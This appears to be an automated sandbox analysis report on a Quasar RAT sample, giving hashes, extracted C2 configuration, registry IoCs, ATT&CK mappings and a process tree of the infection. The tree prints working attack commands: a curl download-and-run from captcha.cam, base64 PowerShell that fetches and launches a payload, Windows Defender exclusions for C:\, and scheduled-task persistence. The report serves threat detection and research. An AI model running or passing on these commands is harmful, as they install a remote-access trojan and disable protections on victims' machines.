quasar | 4902cfc6d7899675fad895da3fdc49f383c5ce0b126986a20c2b29e1382fc1ed

Analysis

max time kernel
179s
max time network
186s
platform
windows11-21h2_x64
resource
win11-20241023-en
resource tags

arch:x64arch:x86image:win11-20241023-enlocale:en-usos:windows11-21h2-x64system
submitted
30-12-2024 03:41

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General

Target

Mono.exe
Size

14KB
MD5

db7b0a5a3a54e83200368927b5f3a007
SHA1

5cb156def2a964f7551a6036ec7af1d8afea4cb2
SHA256

4902cfc6d7899675fad895da3fdc49f383c5ce0b126986a20c2b29e1382fc1ed
SHA512

79636f827d951ee566ffccd79372a18ee07ba178e54c0421211b54a1ea33c9fc7e5522093bd4abf1a9794a7a0ab9dd7bd3913aec995b819ab588e26373e39009
SSDEEP

384:iYAlQqV70tSM1z5zj7Ez48jQKira3lyjcoEwjZ2V8E+d4fjxAd:UMkzDHlmQKn/d

Score

10^/10

quasar 28 discovery execution spyware trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://captcha.cam/file.b64

Extracted

Family

quasar

Version

1.4.1

Botnet

194.26.192.167:2768

Mutex

859d5f90-e2d0-4b2d-ba9f-5371df032ec2

Attributes

encryption_key
BE2B0B270E4DB19CAA5C42E9D2EBF64645A2D055
install_name
RuntimeBroker.exe
log_directory
Logs
reconnect_delay
3000
startup_key
RuntimeBroker
subdirectory
RuntimeBroker

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar
Quasar family
quasar

Quasar payload 2 IoCs

resource	yara_rule
behavioral1/files/0x000a000000000691-108.dat	family_quasar
behavioral1/memory/4372-116-0x0000000000110000-0x0000000000434000-memory.dmp	family_quasar

Blocklisted process makes network request 1 IoCs

flow	pid	Process
31	4076	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2572	powershell.exe
2056	powershell.exe
4156	powershell.exe
3700	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
4372	RuntimeBroker.exe
4108	RuntimeBroker.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DllHost.exe

Modifies Internet Explorer settings 1 TTPs 2 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000\Software\Microsoft\Internet Explorer\Toolbar	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000\Software\Microsoft\Internet Explorer\Toolbar\Locked = "1"	explorer.exe

Modifies registry class 40 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\NodeSlot = "1"	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Rev = "0"	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders\Shell	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0 = 14001f706806ee260aa0d7449371beb064c986830000	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\MRUListEx = 00000000ffffffff	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0 = 1e00718000000000000000000000e1a40ed25739d211a40b0c50205241530000	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000_Classes\Local Settings\MuiCache	BackgroundTransferHost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders\Shell\Microsoft.Windows.ControlPanel\WFlags = "0"	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0 = 0c0001008421de39050000000000	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\MRUListEx = 00000000ffffffff	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\Content\CachePrefix	BackgroundTransferHost.exe
Key created	\REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000_Classes\Local Settings	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders\Shell\Microsoft.Windows.ControlPanel\HotKey = "0"	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000_Classes\Local Settings	control.exe
Key created	\REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	explorer.exe
Key created	\Registry\User\S-1-5-21-4248760313-3670024077-2384670640-1000_Classes\NotificationData	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Vid = "{65F125E5-7BE1-4810-BA9D-D271C8432CE3}"	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000_Classes\Local Settings	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\History\CachePrefix = "Visited:"	BackgroundTransferHost.exe
Key created	\REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders\Shell\Microsoft.Windows.ControlPanel	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders\Shell\Microsoft.Windows.ControlPanel\ShowCmd = "1"	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	BackgroundTransferHost.exe
Key created	\REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000_Classes\Local Settings\MuiCache	MiniSearchHost.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\MRUListEx = ffffffff	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "287309825"	explorer.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3992	schtasks.exe
4832	schtasks.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3464	explorer.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

pid	Process
2572	powershell.exe
2572	powershell.exe
3700	powershell.exe
3700	powershell.exe
2056	powershell.exe
2056	powershell.exe
4060	powershell.exe
4060	powershell.exe
4156	powershell.exe
4156	powershell.exe
5012	powershell.exe
5012	powershell.exe
4076	powershell.exe
4076	powershell.exe

Suspicious use of AdjustPrivilegeToken 11 IoCs

description	pid	Process
Token: SeShutdownPrivilege	3524	control.exe
Token: SeCreatePagefilePrivilege	3524	control.exe
Token: SeDebugPrivilege	2572	powershell.exe
Token: SeDebugPrivilege	3700	powershell.exe
Token: SeDebugPrivilege	2056	powershell.exe
Token: SeDebugPrivilege	4060	powershell.exe
Token: SeDebugPrivilege	4156	powershell.exe
Token: SeDebugPrivilege	5012	powershell.exe
Token: SeDebugPrivilege	4076	powershell.exe
Token: SeDebugPrivilege	4372	RuntimeBroker.exe
Token: SeDebugPrivilege	4108	RuntimeBroker.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
3464	explorer.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
2528	MiniSearchHost.exe
4108	RuntimeBroker.exe

Suspicious use of WriteProcessMemory 32 IoCs

description	pid	Process	procid_target
PID 3464 wrote to memory of 2712	3464	explorer.exe	87
PID 3464 wrote to memory of 2712	3464	explorer.exe	87
PID 2712 wrote to memory of 4824	2712	cmd.exe	90
PID 2712 wrote to memory of 4824	2712	cmd.exe	90
PID 4824 wrote to memory of 4788	4824	cmd.exe	91
PID 4824 wrote to memory of 4788	4824	cmd.exe	91
PID 4824 wrote to memory of 2572	4824	cmd.exe	92
PID 4824 wrote to memory of 2572	4824	cmd.exe	92
PID 4824 wrote to memory of 3700	4824	cmd.exe	93
PID 4824 wrote to memory of 3700	4824	cmd.exe	93
PID 3700 wrote to memory of 4956	3700	powershell.exe	94
PID 3700 wrote to memory of 4956	3700	powershell.exe	94
PID 4956 wrote to memory of 2056	4956	cmd.exe	96
PID 4956 wrote to memory of 2056	4956	cmd.exe	96
PID 4956 wrote to memory of 4060	4956	cmd.exe	97
PID 4956 wrote to memory of 4060	4956	cmd.exe	97
PID 4060 wrote to memory of 4156	4060	powershell.exe	98
PID 4060 wrote to memory of 4156	4060	powershell.exe	98
PID 4956 wrote to memory of 5012	4956	cmd.exe	99
PID 4956 wrote to memory of 5012	4956	cmd.exe	99
PID 5012 wrote to memory of 2552	5012	powershell.exe	100
PID 5012 wrote to memory of 2552	5012	powershell.exe	100
PID 4956 wrote to memory of 4076	4956	cmd.exe	101
PID 4956 wrote to memory of 4076	4956	cmd.exe	101
PID 4076 wrote to memory of 4372	4076	powershell.exe	102
PID 4076 wrote to memory of 4372	4076	powershell.exe	102
PID 4372 wrote to memory of 3992	4372	RuntimeBroker.exe	103
PID 4372 wrote to memory of 3992	4372	RuntimeBroker.exe	103
PID 4372 wrote to memory of 4108	4372	RuntimeBroker.exe	105
PID 4372 wrote to memory of 4108	4372	RuntimeBroker.exe	105
PID 4108 wrote to memory of 4832	4108	RuntimeBroker.exe	106
PID 4108 wrote to memory of 4832	4108	RuntimeBroker.exe	106

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\Mono.exe
"C:\Users\Admin\AppData\Local\Temp\Mono.exe"
1⤵
PID:3144

C:\Windows\system32\control.exe
"C:\Windows\system32\control.exe" /name Microsoft.AdministrativeTools
1⤵
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
PID:3524

C:\Windows\SysWOW64\DllHost.exe
C:\Windows\SysWOW64\DllHost.exe /Processid:{06622D85-6856-4460-8DE1-A81921B41C4B}
1⤵
- System Location Discovery: System Language Discovery
PID:4300

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{5BD95610-9434-43C2-886C-57852CC8A120} -Embedding
1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:3464
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2712
- - C:\Windows\system32\cmd.exe
    cmd /c "curl -k -L -Ss https://captcha.cam/t.cmd -o "C:\Users\Admin\AppData\Local\Temp\1.cmd" && "C:\Users\Admin\AppData\Local\Temp\1.cmd"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4824
  - - C:\Windows\system32\curl.exe
      curl -k -L -Ss https://captcha.cam/t.cmd -o "C:\Users\Admin\AppData\Local\Temp\1.cmd"
      4⤵
      PID:4788
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -w h -command ""
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2572
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Start-Process -Verb RunAs -FilePath '"C:\Users\Admin\AppData\Local\Temp\1.cmd' -ArgumentList 'am_admin'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Modifies registry class
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3700
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\1.cmd" am_admin
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4956
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -w h -command ""
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2056
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -enc cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAALQBjAG8AbQBtAGEAbgBkACAAIgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAIgBDADoAXAANAAoA
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4060
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "Add-MpPreference -ExclusionPath " C:\
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4156
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -enc cgBlAGcAIABhAGQAZAAgACIASABLAEwATQBcAFMATwBGAFQAVwBBAFIARQBcAFAAbwBsAGkAYwBpAGUAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAIgAgAC8AdgAgAEMAOgBcAA==
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:5012
        
        C:\Windows\system32\reg.exe
        
        "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\
        7⤵
        
        PID:2552
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -enc JAB1AHIAbAA9ACIAaAB0AHQAcABzADoALwAvAGMAYQBwAHQAYwBoAGEALgBjAGEAbQAvAGYAaQBsAGUALgBiADYANAAiADsAJABiADYANABGAGkAbABlAD0AIgAkAGUAbgB2ADoAVABlAG0AcABcAGYAaQBsAGUALgBiADYANAAiADsAJABlAHgAZQBGAGkAbABlAD0AIgAkAGUAbgB2ADoAVABlAG0AcABcAFIAdQBuAHQAaQBtAGUAQgByAG8AawBlAHIALgBlAHgAZQAiADsASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACQAdQByAGwAIAAtAE8AdQB0AEYAaQBsAGUAIAAkAGIANgA0AEYAaQBsAGUAOwBbAEkATwAuAEYAaQBsAGUAXQA6ADoAVwByAGkAdABlAEEAbABsAEIAeQB0AGUAcwAoACQAZQB4AGUARgBpAGwAZQAsAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAKABHAGUAdAAtAEMAbwBuAHQAZQBuAHQAIAAkAGIANgA0AEYAaQBsAGUAIAAtAFIAYQB3ACkAKQApADsAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACQAZQB4AGUARgBpAGwAZQA=
        6⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4076
        
        C:\Users\Admin\AppData\Local\Temp\RuntimeBroker.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RuntimeBroker.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4372
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "RuntimeBroker" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\RuntimeBroker\RuntimeBroker.exe" /rl HIGHEST /f
        8⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:3992
        
        C:\Users\Admin\AppData\Roaming\RuntimeBroker\RuntimeBroker.exe
        
        "C:\Users\Admin\AppData\Roaming\RuntimeBroker\RuntimeBroker.exe"
        8⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:4108
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "RuntimeBroker" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\RuntimeBroker\RuntimeBroker.exe" /rl HIGHEST /f
        9⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4832

C:\Windows\system32\BackgroundTransferHost.exe
"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.13
1⤵
- Modifies registry class
PID:2360

C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\MiniSearchHost.exe
"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\MiniSearchHost.exe" -ServerName:MiniSearchUI.AppXj3y73at8fy1htwztzxs68sxx1v7cksp7.mca
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:2528

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\RuntimeBroker.exe.log

Filesize
1KB

MD5
b4e91d2e5f40d5e2586a86cf3bb4df24

SHA1
31920b3a41aa4400d4a0230a7622848789b38672

SHA256
5d8af3c7519874ed42a0d74ee559ae30d9cc6930aef213079347e2b47092c210

SHA512
968751b79a98961f145de48d425ea820fd1875bae79a725adf35fc8f4706c103ee0c7babd4838166d8a0dda9fbce3728c0265a04c4b37f335ec4eaa110a2b319

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
627073ee3ca9676911bee35548eff2b8

SHA1
4c4b68c65e2cab9864b51167d710aa29ebdcff2e

SHA256
85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c

SHA512
3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\iconcache_idx.db

Filesize
14KB

MD5
b7550edd657eed14cec6524f16e2919b

SHA1
cfb6b52663ceefbd923c8944b70f9ce0f147dfdb

SHA256
cc11e8c0a2eedb97b59955aed8a9e77f8028207574bdc5a4ccd6332a8b4834b7

SHA512
9968ab16da1ad694bc0f5b835fdff7915a54c7e38152a080cf4ca1c6f8f1958e8f5e4e5731eb47c6d66bebbd674ece0240e3ab45e4f32c7171a113dbc48ce7af

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
d8b9a260789a22d72263ef3bb119108c

SHA1
376a9bd48726f422679f2cd65003442c0b6f6dd5

SHA256
d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc

SHA512
550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
446dd1cf97eaba21cf14d03aebc79f27

SHA1
36e4cc7367e0c7b40f4a8ace272941ea46373799

SHA256
a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf

SHA512
a6d754709f30b122112ae30e5ab22486393c5021d33da4d1304c061863d2e1e79e8aeb029cae61261bb77d0e7becd53a7b0106d6ea4368b4c302464e3d941cf7

Download Submit
C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\BackgroundTransferApi\18fe1e26-1159-4117-a6e2-40f3c269c3d6.down_data

Filesize
555KB

MD5
5683c0028832cae4ef93ca39c8ac5029

SHA1
248755e4e1db552e0b6f8651b04ca6d1b31a86fb

SHA256
855abd360d8a8d6974eba92b70cbd09ce519bc8773439993f9ab37cb6847309e

SHA512
aba434bd29be191c823b02ea9b639beb10647bbe7759bbffdaa790dfb1ec2c58d74c525ef11aacda209e4effe322d1d3a07b115446c8914b07a3bce4d8a0e2c3

Download Submit
C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TempState\SearchHoverUnifiedTileModelCache.dat

Filesize
10KB

MD5
1301a13a0b62ba61652cdbf2d61f80fa

SHA1
1911d1f0d097e8f5275a29e17b0bcef305df1d9e

SHA256
7e75ad955706d05f5934810aebbd3b5a7742d5e5766efd9c4fc17ee492b2f716

SHA512
66aa4261628bb31ee416af70f4159c02e5bbfbe2f7645e87d70bb35b1f20fa915d62b25d99cd72c59580d1f64e6c6b5ad36ace6600d3bcdb67f45036d768ed8b

Download Submit
C:\Users\Admin\AppData\Local\Temp\1.cmd

Filesize
1KB

MD5
104cc53cf2a78348c132b27766627399

SHA1
6c1c7eff5c6f5520473f8c861c9408b0cd07d7cf

SHA256
995acc6b43d40f9f8236dfc7b581a8afa2f06c538222d329fef9e6f0b6f4bd18

SHA512
290406d75bdec56531723c245fe55f632415abd4022fb9aebd6a332d0eb33cbd9dec241076534a2265eeacc617afa058cc5c9b170859dc3263042af1e30d1e0b

Download Submit
C:\Users\Admin\AppData\Local\Temp\RuntimeBroker.exe

Filesize
3.1MB

MD5
b94af11cca65c557d23559e978a49d18

SHA1
0c3436d0c5df8e2e39bf4869bbe4413ca8d594b7

SHA256
f6a0a782d574de811fe66ecf6416c69b486f9ca20faf96cfc863a00063306338

SHA512
c1254360b2382957f043b8edcf36b28f13a93d0860dc9609d9b46eded81bc004e4149113e9eaad8b4d2cc18164942588bd4e97ecd8fce4f9afd8e537bc668b16

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nkbzs2ns.enk.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2572-34-0x000001D078BD0000-0x000001D078BF2000-memory.dmp

Filesize
136KB

Download
memory/3144-3-0x00007FF834CF0000-0x00007FF8357B2000-memory.dmp

Filesize
10.8MB

Download
memory/3144-2-0x00007FF834CF0000-0x00007FF8357B2000-memory.dmp

Filesize
10.8MB

Download
memory/3144-1-0x00000245B9270000-0x00000245B9278000-memory.dmp

Filesize
32KB

Download
memory/3144-0-0x00007FF834CF3000-0x00007FF834CF5000-memory.dmp

Filesize
8KB

Download
memory/4108-127-0x000000001CBD0000-0x000000001CC0C000-memory.dmp

Filesize
240KB

Download
memory/4108-124-0x000000001CB00000-0x000000001CB50000-memory.dmp

Filesize
320KB

Download
memory/4108-125-0x000000001CC10000-0x000000001CCC2000-memory.dmp

Filesize
712KB

Download
memory/4108-126-0x000000001CB70000-0x000000001CB82000-memory.dmp

Filesize
72KB

Download
memory/4372-116-0x0000000000110000-0x0000000000434000-memory.dmp

Filesize
3.1MB

Download